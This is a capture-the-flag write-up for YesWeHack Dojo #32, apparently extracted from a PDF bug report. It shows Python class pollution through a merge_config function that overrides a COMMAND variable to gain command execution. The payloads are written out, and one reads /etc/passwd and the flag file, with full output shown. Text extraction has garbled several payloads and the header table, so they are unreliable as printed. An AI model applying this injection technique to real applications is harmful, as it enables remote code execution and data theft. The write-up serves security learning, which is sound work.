

#YWH-PGM2123-1052 NEW



## / Yeswehack: Dojo #32 : Writeup by alt3kx (2024) □□

## YESWEHACK DOJO

#### **SUBMITTED BY XK3TLA ON 2024-04-26**

BUG TYPE  SCOPE  ENDPOINT  SEVERITY  VULNERABLE PART  PART NAME	OS Command Injection (CWE 78)
SCOPE  ENDPOINT  SEVERITY  VULNERABLE PART	OS Command Injection (CWE 78)
ENDPOINT SEVERITY VULNERABLE PART	
SEVERITY VULNERABLE PART	https://dojo-yeswehack.com/ challenge-of-the-month/dojo- 32
VULNERABLE PART	DOJO #32
	Critical
PART NAME	others
	Functions "merge_config" and python3 code with ''dict" access to attributes and methods.
PAYLOAD	{ "alt3kx":"null", "init":{' globals":{"COMMAND":"d at /tmp/flag.txt"} } }
TECHNICAL ENVIRONMENT	DOJO #32
APPLICATION FINGERPRINT	Dojo (Security Panel)
IP USED	127.0.0.1

cvss score	SEVERITY  CRITICAL		
<b>VECTOR STRING</b> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H			

DOCUMENTS	
/0.png	
/1.png	
/2.png	
/3.png	
/4.png	
/5.png	

## **BUG DESCRIPTION**

#YWH-PGM2123-1052 Page 1 / 8



/ Yeswehack: Dojo #32 : Writeup by alt3kx (2024) □□

# / Prototype Pollution in Python (Class Pollution) via "COMMAND" var (RCE) | CVSS:3.1 9.8 | CWE-1321 | CWE-78 | A06:2021

### **Description**

Prototype pollution is a vulnerability that can occur in dynamically typed languages like Python. It occurs when an attacker is able to modify the prototype of an object, leading to unexpected behavior and potential security issues.

## **Impact**

This vulnerability is called prototype pollution because it allows threat actors to inject values that overwrite or pollute the "prototype" of a base object. This malicious prototype can pass to many other objects that inherit that prototype. Once threat actors can control the default values of the object's properties, they can tamper with the application's logic. This can lead to denial of service (DoS) or remote code execution (RCE).

In **Python**, prototype pollution is not as common as in JavaScript, but it is still possible to modify the prototype of an object using the built-in' **\_dict\_**" attribute. The "\_**dict\_**" attribute is a dictionary that contains the object's attributes and methods. By modifying this dictionary, we can effectively change the object's behavior.

Mostly, the result is highly devastating for the target such as:


- / Remote code execution (RCE).
- / Unauthorized admin-like access enabled for back-end servers.
- / Introduction of random files and corruption into your server-side systems.
- / Numerous cyberattacks on the inner infrastructure.

#### **Steps to Reproduce**

#### (1) Observe the statement provided:

The code provided is using Python3 and it's accepting user input as JSON code, noticed that the default security config (JSON code ) its just by typing brackets as following "{}" , this will showing the default security config | see | default\_config = {} |


#YWH-PGM2123-1052 Page 2 / 8



#### (2) Start a Recon

Taking the advantage of merging functions as merge\_config, basically the main goal of the code it's merge the default\_config with the user input code, just see a new instance reflected, it works!!

#YWH-PGM2123-1052 Page 3 / 8



#### (3) Start a Prototype Pollution in Python:

The exploitation is taking the advantage of the function merge\_config that rendering our JSON code (Python) as well, the goal is calling the COMMAND variable see | COMMAND = f"./security\_config.sh {CONFIG\_FILENAME}" | and execute remotely OS system commands (RCE) |, all this through the prototype pollution or python class pollution, below as initial pollution sample, observe the errors:

```
Payload (1)
{
    "alt3kx":"null",
    "_class_":{
    "_base_":{
    "_base_":{
    "_base_":{
    "_base_":{
    "_base_":{
    "_base_":{
    "user_config":"alt3kx"
}
}
}
}
}
}
```

#YWH-PGM2123-1052 Page 4 / 8


```
Python3
                                                                                                                             DOJO #32 - SECURITY PANEL by nishacid
              INPUTS INSPECT
                                                                                                               WAF
                                                                                                                                                                                                                                                                                                                       F HTML ()
                                                                                                                CODE RESULT
                   "alt3kx":"null",
                     "__class__":{
                                                                                                             Traceback (most recent call last):
   File "/app/runner.py", line 24, in <module>
        exec(code, ctx)
   File "<string>", line 50, in <module>
        File "<string>", line 25, in merge_config
        File "<string>", line 27, in merge_config
        AttributeError: 'NoneType' object has no attribute '___base__'
                         "__base__":{
                             "__base__":{
                                "_base__":{
                                    "__base__":{
    "__base__":{
  INPUT
                                           "user_config":"alt3kx"
 SUBMIT
```

(4) Exploitation | Prototype Pollution in Python:

#YWH-PGM2123-1052 Page 5 / 8

```
Final Payload:
"alt3kx":"null",
"_init_":{
"COMMAND":"cat /tmp/flag.txt; echo "\n'; cat /etc/passwd; echo "\n'; uname -a; echo "\n'; id ; echo "\n' "
Output Result:
FLAG{J4v4ScRipT??No_Pyth0N_cl4Ss_p0lluTi0n!!}
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
Linux c12180ae675b 5.10.0-26-cloud-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 Linux
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
```

#YWH-PGM2123-1052 Page 6 / 8



#### **FLAG**

 $FLAG\{J4v4ScRipT??No\_Pyth0N\_cl4Ss\_p0lluTi0n!!\}$ 

## Recommendations

Issue Domain: Developers, Software Architects & Administrators

#### To avoid the attack

- Input Validation and Sanitization: when accepting user input, ensure that it is properly validated and sanitized. Prototype pollution attacks often rely on injecting malicious input to modify object prototypes. By validating and sanitizing user input, we can prevent such attacks.
- / Avoid using the "\_dict\_" attribute: The "\_dict\_" attribute provides direct access to an object's attributes and methods. By avoiding its usage, we can prevent potential vulnerabilities. Instead, use the built-in getattr() and setattr() functions to access and modify object attributes.
- / Code Reviews and Testing: Conduct regular code reviews and testing to identify and fix vulnerabilities in the application. This includes checking for Prototype Pollution vulnerabilities and testing the application against known attack vectors.
- Keep the Server and Dependencies Up-to-date: Keep the server and all dependencies up-to-date with the latest security patches and updates. This helps to prevent attackers from exploiting known vulnerabilities in the software.

#### References

https://blog.abdulrah33m.com/prototype-pollution-in-python/https://learn.snyk.io/lesson/prototype-pollution/https://portswigger.net/web-security/prototype-pollution/server-side

https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit

#### **Contact**

https://twitter.com/alt3kx https://alt3kx.github.io/ https://infosec.exchange/@alt3kx

## **COMMENTS**

Page 7 / 8 #YWH-PGM2123-1052



XK3TLA ON 2024-04-26 22:35:00



NEW

#YWH-PGM2123-1052 Page 8 / 8